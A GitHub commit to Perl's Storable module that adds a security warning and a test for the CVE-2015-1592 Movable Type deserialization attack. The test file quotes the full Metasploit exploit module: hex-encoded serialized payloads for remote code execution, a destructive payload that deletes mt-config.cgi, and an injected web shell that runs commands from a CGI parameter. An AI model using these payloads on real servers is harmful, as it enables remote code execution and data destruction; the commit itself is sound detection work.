Skip to content

Commit 66f039c

Browse files
author
Reini Urban
committed
Storable 3.01 security: detect CVE-2015-1592
warn and test against this published metasploit attack vector. See GH #199
1 parent ef91db8 commit 66f039c

File tree

5 files changed

+300
-3
lines changed

5 files changed

+300
-3
lines changed

ChangeLog

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,10 @@
1+
Fri Sep 16 01:32:59 2016 +0200 Reini Urban <[email protected]>
2+
Version 3.01c
3+
4+
* Added warn_security("Movable-Type CVE-2015-1592 Storable metasploit attack")
5+
when detecting the third destructive metasploit vector,
6+
thawing bless \"mt-config.cgi", "CGITempFile".
7+
18
Thu Mar 31 17:10:27 2016 +0200 Reini Urban <[email protected]>
29
Version 3.00c
310

Storable.pm

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -24,7 +24,7 @@ package Storable; @ISA = qw(Exporter);
2424

2525
use vars qw($canonical $forgive_me $VERSION);
2626

27-
$VERSION = '3.00c';
27+
$VERSION = '3.01c';
2828
$VERSION =~ s/c$//;
2929
$VERSION = eval $VERSION;
3030

Storable.xs

Lines changed: 9 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -2480,7 +2480,7 @@ sortcmp(const void *a, const void *b)
24802480
static int store_hash(pTHX_ stcxt_t *cxt, HV *hv)
24812481
{
24822482
dVAR;
2483-
UV len = HvTOTALKEYS(hv);
2483+
UV len = (UV)HvTOTALKEYS(hv);
24842484
Size_t i;
24852485
int ret = 0;
24862486
I32 riter;
@@ -5174,7 +5174,7 @@ static SV *get_lstring(pTHX_ stcxt_t *cxt, UV len, int isutf8, const char *cname
51745174

51755175
sv = NEWSV(10002, len);
51765176
stash = cname ? gv_stashpv(cname, GV_ADD) : 0;
5177-
SEEN_NN(sv, stash, 0); /* Associate this new scalar with tag "tagnum" */
5177+
SEEN_NN(sv, stash, 0); /* Associate this new scalar with tag "tagnum" */
51785178

51795179
if (len == 0) {
51805180
sv_setpvn(sv, "", 0);
@@ -5197,6 +5197,13 @@ static SV *get_lstring(pTHX_ stcxt_t *cxt, UV len, int isutf8, const char *cname
51975197
if (cxt->s_tainted) /* Is input source tainted? */
51985198
SvTAINT(sv); /* External data cannot be trusted */
51995199

5200+
/* Check for CVE-215-1592 */
5201+
if (cname && len == 13 && strEQc(cname, "CGITempFile")
5202+
&& strEQc(SvPVX(sv), "mt-config.cgi")) {
5203+
Perl_warn_security(aTHX_
5204+
"Movable-Type CVE-2015-1592 Storable metasploit attack");
5205+
}
5206+
52005207
if (isutf8) {
52015208
TRACEME(("large utf8 string len %"UVuf" '%s'", len, SvPVX(sv)));
52025209
#ifdef HAS_UTF8_SCALARS

t/CVE-2015-1592.inc

Lines changed: 261 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,261 @@
1+
#!/usr/bin/perl
2+
3+
=pod
4+
5+
class MetasploitModule < Msf::Exploit::Remote
6+
Rank = GoodRanking
7+
8+
include Msf::Exploit::Remote::HttpClient
9+
10+
def initialize(info = {})
11+
super(update_info(info,
12+
'Name' => 'SixApart MovableType Storable Perl Code Execution',
13+
'Description' => %q{
14+
This module exploits a serialization flaw in MovableType before 5.2.12 to execute
15+
arbitrary code. The default nondestructive mode depends on the target server having
16+
the Object::MultiType and DateTime Perl modules installed in Perl's @INC paths.
17+
The destructive mode of operation uses only required MovableType dependencies,
18+
but it will noticeably corrupt the MovableType installation.
19+
},
20+
'Author' =>
21+
[
22+
'John Lightsey',
23+
],
24+
'License' => MSF_LICENSE,
25+
'References' =>
26+
[
27+
[ 'CVE', '2015-1592' ],
28+
[ 'URL', 'https://movabletype.org/news/2015/02/movable_type_607_and_5212_released_to_close_security_vulnera.html' ],
29+
],
30+
'Privileged' => false, # web server context
31+
'Payload' =>
32+
{
33+
'DisableNops' => true,
34+
'BadChars' => ' ',
35+
'Space' => 1024,
36+
},
37+
'Compat' =>
38+
{
39+
'PayloadType' => 'cmd'
40+
},
41+
'Platform' => ['unix'],
42+
'Arch' => ARCH_CMD,
43+
'Targets' => [['Automatic', {}]],
44+
'DisclosureDate' => 'Feb 11 2015',
45+
'DefaultTarget' => 0))
46+
47+
register_options(
48+
[
49+
OptString.new('TARGETURI', [true, 'MoveableType cgi-bin directory path', '/cgi-bin/mt/']),
50+
OptBool.new('DESTRUCTIVE', [true, 'Use destructive attack method (more likely to succeed, but corrupts target system.)', false])
51+
], self.class
52+
)
53+
54+
end
55+
56+
=cut
57+
58+
# generate config parameters for injection checks
59+
60+
use Storable;
61+
62+
{
63+
64+
package XXXCHECKXXX;
65+
66+
sub STORABLE_thaw {
67+
return 1;
68+
}
69+
70+
sub STORABLE_freeze {
71+
return 1;
72+
}
73+
74+
}
75+
76+
my $check_obj = bless { ignore => 'this' }, XXXCHECKXXX;
77+
my $frozen2 = 'SERG' . pack( 'N', 0 ) . pack( 'N', 3 ) . Storable::freeze({ x => $check_obj});
78+
$frozen2 = unpack 'H*', $frozen2;
79+
#print "LFI test for storable flaw is: $frozen2\n";
80+
81+
{
82+
package DateTime;
83+
use overload '+' => sub { 'ignored' };
84+
}
85+
86+
=pod
87+
88+
def check
89+
vprint_status("Sending storable test injection for XXXCHECKXXX.pm load failure")
90+
res = send_request_cgi({
91+
'method' => 'GET',
92+
'uri' => normalize_uri(target_uri.path, 'mt-wizard.cgi'),
93+
'vars_get' => {
94+
'__mode' => 'retry',
95+
'step' => 'configure',
96+
'config' => '53455247000000000000000304080831323334353637380408080803010000000413020b585858434845434b58585801310100000078'
97+
}
98+
})
99+
100+
unless res && res.code == 200 && res.body.include?("Can't locate XXXCHECKXXX.pm")
101+
vprint_status("Failed XXXCHECKXXX.pm load test");
102+
return Exploit::CheckCode::Safe
103+
end
104+
Exploit::CheckCode::Vulnerable
105+
end
106+
107+
def exploit
108+
if datastore['DESTRUCTIVE']
109+
exploit_destructive
110+
else
111+
exploit_nondestructive
112+
end
113+
end
114+
115+
=cut
116+
117+
#!/usr/bin/perl
118+
119+
# Generate nondestructive config parameter for RCE via Object::MultiType
120+
# and Try::Tiny. The generated value requires minor modification to insert
121+
# the payload inside the system() call and resize the padding.
122+
123+
use Storable;
124+
125+
{
126+
package Object::MultiType;
127+
use overload '+' => sub { 'ingored' };
128+
}
129+
130+
{
131+
package Object::MultiType::Saver;
132+
}
133+
134+
#{
135+
# package DateTime;
136+
# use overload '+' => sub { 'ingored' };
137+
#}
138+
139+
{
140+
package Try::Tiny::ScopeGuard;
141+
}
142+
143+
my $try_tiny_loader = bless {}, 'DateTime';
144+
my $multitype_saver = bless { c => 'MT::run_app' }, 'Object::MultiType::Saver';
145+
my $multitype_coderef = bless \$multitype_saver, 'Object::MultiType';
146+
my $try_tiny_executor = bless [$multitype_coderef, 'MT;print qq{Content-type: text/plain\n\n};system(q{});' . ('#' x 1025) . "\nexit;"], 'Try::Tiny::ScopeGuard';
147+
148+
my $data = [$try_tiny_loader, $try_tiny_executor];
149+
my $frozen1 = 'SERG' . pack( 'N', 0 ) . pack( 'N', 3 ) . Storable::freeze($data);
150+
$frozen1 = unpack 'H*', $frozen1;
151+
#print "RCE payload requiring Object::MultiType and DateTime: $frozen1\n";
152+
153+
=pod
154+
155+
def exploit_nondestructive
156+
print_status("Using nondestructive attack method")
157+
config_payload = "53455247000000000000000304080831323334353637380408080802020000001411084461746554696d6503000000000411155472793a3a54696e793a3a53636f7065477561726402020000001411114f626a6563743a3a4d756c7469547970650411184f626a6563743a3a4d756c7469547970653a3a536176657203010000000a0b4d543a3a72756e5f6170700100000063013d0400004d543b7072696e742071717b436f6e74656e742d747970653a20746578742f706c61696e5c6e5c6e7d3b73797374656d28717b"
158+
config_payload << payload.encoded.unpack('H*')[0]
159+
config_payload << "7d293b"
160+
config_payload << "23" * (1025 - payload.encoded.length)
161+
config_payload << "0a657869743b"
162+
163+
print_status("Sending payload (#{payload.raw.length} bytes)")
164+
165+
send_request_cgi({
166+
'method' => 'GET',
167+
'uri' => normalize_uri(target_uri.path, 'mt-wizard.cgi'),
168+
'vars_get' => {
169+
'__mode' => 'retry',
170+
'step' => 'configure',
171+
'config' => config_payload
172+
}
173+
}, 5)
174+
end
175+
176+
=cut
177+
178+
#!/usr/bin/perl
179+
180+
# Generate destructive config parameter to unlink mt-config.cgi
181+
182+
use Storable;
183+
184+
{
185+
package CGITempFile;
186+
}
187+
188+
my $unlink_target = "mt-config.cgi";
189+
my $cgitempfile = bless \$unlink_target, "CGITempFile";
190+
191+
$data = [$cgitempfile];
192+
my $frozen_data = Storable::freeze($data);
193+
my $frozen = 'SERG' . pack( 'N', 0 ) . pack( 'N', 3 ) . $frozen_data;
194+
$frozen = unpack 'H*', $frozen;
195+
#print "RCE unlink payload requiring CGI: $frozen\n";
196+
197+
# $Storable::DEBUGME = 1;
198+
# $^W = 1;
199+
Storable::thaw($frozen_data);
200+
201+
=pod
202+
203+
def exploit_destructive
204+
print_status("Using destructive attack method")
205+
# First we need to delete mt-config.cgi using the storable injection
206+
207+
print_status("Sending storable injection to unlink mt-config.cgi")
208+
209+
res = send_request_cgi({
210+
'method' => 'GET',
211+
'uri' => normalize_uri(target_uri.path, 'mt-wizard.cgi'),
212+
'vars_get' => {
213+
'__mode' => 'retry',
214+
'step' => 'configure',
215+
'config' => '534552470000000000000003040808313233343536373804080808020100000004110b43474954656d7046696c650a0d6d742d636f6e6669672e636769'
216+
}
217+
})
218+
219+
if res && res.code == 200
220+
print_status("Successfully sent unlink request")
221+
else
222+
fail_with(Failure::Unknown, "Error sending unlink request")
223+
end
224+
225+
# Now we rewrite mt-config.cgi to accept a payload
226+
227+
print_status("Rewriting mt-config.cgi to accept the payload")
228+
229+
res = send_request_cgi({
230+
'method' => 'GET',
231+
'uri' => normalize_uri(target_uri.path, 'mt-wizard.cgi'),
232+
'vars_get' => {
233+
'__mode' => 'next_step',
234+
'step' => 'optional',
235+
'default_language' => 'en_us',
236+
'email_address_main' => "x\nObjectDriver mysql;use CGI;print qq{Content-type: text/plain\\n\\n};if(my $c = CGI->new()->param('xyzzy')){system($c);};unlink('mt-config.cgi');exit;1",
237+
'set_static_uri_to' => '/',
238+
'config' => '5345524700000000000000024800000001000000127365745f7374617469635f66696c655f746f2d000000012f', # equivalent to 'set_static_file_to' => '/',
239+
}
240+
})
241+
242+
if res && res.code == 200
243+
print_status("Successfully sent mt-config rewrite request")
244+
else
245+
fail_with(Failure::Unknown, "Error sending mt-config rewrite request")
246+
end
247+
248+
# Finally send the payload
249+
250+
print_status("Sending payload request")
251+
252+
send_request_cgi({
253+
'method' => 'GET',
254+
'uri' => normalize_uri(target_uri.path, 'mt.cgi'),
255+
'vars_get' => {
256+
'xyzzy' => payload.encoded,
257+
}
258+
}, 5)
259+
end
260+
261+
=cut

t/CVE-2015-1592.t

Lines changed: 22 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,22 @@
1+
#!/usr/bin/perl
2+
3+
use strict;
4+
use Test::More;
5+
plan tests => 1;
6+
7+
use File::Temp qw(tempdir);
8+
use File::Spec;
9+
my $tmp_dir = tempdir(CLEANUP => 1);
10+
my $tmp_file = File::Spec->catfile($tmp_dir, 'sploit');
11+
12+
my $file = __FILE__;
13+
$file =~ s/\.t$/.inc/;
14+
my $inc = $ENV{PERL_CORE} ? "-Ilib -I../../lib" : "-I".join(" -I", @INC);
15+
system qq($^X $inc -w "$file" 2>$tmp_file);
16+
open(my $fh, "<", $tmp_file) or die "$tmp_file $!";
17+
{
18+
local $/;
19+
my $err = <$fh>;
20+
like($err, qr/SECURITY: Movable-Type CVE-2015-1592 Storable metasploit attack /,
21+
'Detect CVE-2015-1592');
22+
}

0 commit comments

Comments
 (0)